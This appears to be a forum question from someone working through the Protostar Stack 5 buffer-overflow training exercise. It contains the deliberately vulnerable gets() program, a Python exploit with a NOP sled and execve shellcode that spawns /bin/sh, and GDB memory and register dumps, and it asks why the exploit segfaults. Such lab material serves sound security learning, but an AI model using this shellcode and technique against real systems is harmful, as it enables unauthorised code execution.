title: Segmentation fault on buffer buffer overflow
body: <p>I tried to learn how buffer overflow works and I did some exercises from exploit-exercises.com. I tried to solve Protostar Stack 5 problem. The code is writen in C. <a href="https://exploit-exercises.com/protostar/stack5/" rel="nofollow noreferrer">Here</a> is the code:</p>
  
  <pre><code>#include &lt;stdlib.h&gt;
  #include &lt;unistd.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  int main(int argc, char **argv)
  {
    char buffer[64];
  
    gets(buffer);
  }
  </code></pre>
  
  <p>The buffer starts at <code>0xbffff770</code> and the return is located at <code>0xbffff7bc</code> so I have 76 byte space (<code>0xbffff7bc - 0xbffff770 = 0x4c = 76</code>) to put nop sled and shellcode. The shellcode size is 23 Byte, so I put 53 Byte of nop sled to my stack and I redirect the eip register in the middle of my nop sled which is <code>0x0xbffff770 + 16</code>. Here is my script to produce the exploit writen in python:</p>
  
  <pre><code>import struct
  
  eip = struct.pack("I", 0xbffff770 + 16) 
  nop = "\x90" * 53
  payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
             \xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  
  print nop + payload + eip
  </code></pre>
  
  <p>But after i run this exploit on the program, I got <code>Segmentetion Fault</code>. Can someone explain me why i got this error?</p>
  
  <p>The memory after running the exploit:</p>
  
  <pre><code>0xbffff770: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbffff780: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbffff790: 0x90909090  0x90909090  0x90909090  0x90909090
  0xbffff7a0: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
  0xbffff7b0: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff780
  </code></pre>
  
  <p>The ret address is located at <code>0xbffff7bc</code> and directed to <code>0xbffff780</code> (which is nop sled), and the shellcode start from <code>0xbffff7a5</code> until <code>0xbffff7bc</code></p>
  
  <p>info register:</p>
  
  <pre><code>eax            0xbffff770   -1073744016
  ecx            0xbffff770   -1073744016
  edx            0xb7fd9334   -1208118476
  ebx            0xb7fd7ff4   -1208123404
  esp            0xbffff7bc   0xbffff7bc
  ebp            0x80cd0bb0   0x80cd0bb0
  esi            0x0  0
  edi            0x0  0
  eip            0x80483da    0x80483da &lt;main+22&gt;
  eflags         0x200246 [ PF ZF IF ID ]
  cs             0x73 115
  ss             0x7b 123
  ds             0x7b 123
  es             0x7b 123
  fs             0x0  0
  gs             0x33 51
  </code></pre>
  
  <p>By the way, I tried to put the redirect ret address 5 times so I decreased the nop sled to 33 byte (<code>nop sled(33 byte) + shellcode(23 byte) + ret addr(4 byte * 5)</code>) and this worked, but why I get segfault at the first exploit. I do not understand why.</p>